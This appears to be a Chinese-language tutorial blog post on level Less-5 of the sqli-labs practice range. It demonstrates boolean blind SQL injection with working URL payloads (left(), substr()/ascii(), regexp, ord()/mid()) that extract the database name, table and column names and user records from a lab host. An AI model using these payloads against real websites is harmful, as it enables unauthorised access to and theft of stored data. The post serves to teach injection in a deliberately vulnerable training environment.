0%

sqli-labs靶场Less-5(布尔盲注)

Less5

我们从这这一关开始学习盲注。结合 background-2 的信息,将上述能使用的 payload 展示
一下使用方法。

这里说一下,有很多的 blog 是翻译或者 copy 的,这关正确的思路是盲注。从源代码中可以
看到,运行返回结果正确的时候只返回 you are in….,不会返回数据库当中的信息了,
所以我们不能利用上述 less1-4 的方法

image

利用left()函数注入

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20left(version(),1)=5--+

查看一下 version(),数据库的版本号为 5.6.17,这里的语句的意思是看版本号的第一位是
不是 5,明显的返回的结果是正确的。

image

当版本号不对的时候,则显示为空

image

猜测数据库长度,已知数据库长度为8

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20left(length(database()),1)=8--+  //length(database())得到数据库的长度

image

猜测数据库第一位

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。

image

猜测数据库第二位,得知第一位是s,我们看前两位是否大于sa

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

image

往下的举一反三。即可得到完整的数据库名

利用substr()ascii()注入

根据以上得知数据库名为 security,那我们利用此方式获取 security 数据库下的表。
获取 security 数据库的第一个表的第一个字符

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()limit%200,1),1,1))>101--+

此处 table_schema 可以写成 =’security’,但是我们这里使用的 database(),是因
为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止,此处应该是 101,因为第一个表示 email。

image

如何获取第一个表的第二位字符呢?
这里我们已经了解了 substr()函数,这里使用 substr(**,2,1)即可

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()limit%200,1),2,1))>101--+

image

那如何获取第二个表呢?思考一下!
这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那要获取第二个是不是就是 limit 1,1!

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()limit%201,1),1,1))>113--+

image

以后的过程就是不断的重复上面的,这里就不重复造轮子了。原理已经解释清楚了。
当你按照方法运行结束后,就可以获取到所有的表的名字

利用regexp获取users表中的列

sql语句

1
select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)

payload请求

1
http://47.101.62.20:11567/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

image

上述语句时选择 users 表中的列名是否有 us**的列

1
http://47.101.62.20:11567/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

image

上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确的

利用ord()函数和mid()函数获取users表的内容

sql语句

1
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68

payload请求

1
http://47.101.62.20:11567/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=%2068--+

image

获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可


总结:以上我们通过使用不同的语句,将通过布尔盲注 SQL 的所有
的 payload 进行演示了一次。想必通过实例更能够对 sql 布尔盲注语句熟悉和理解了。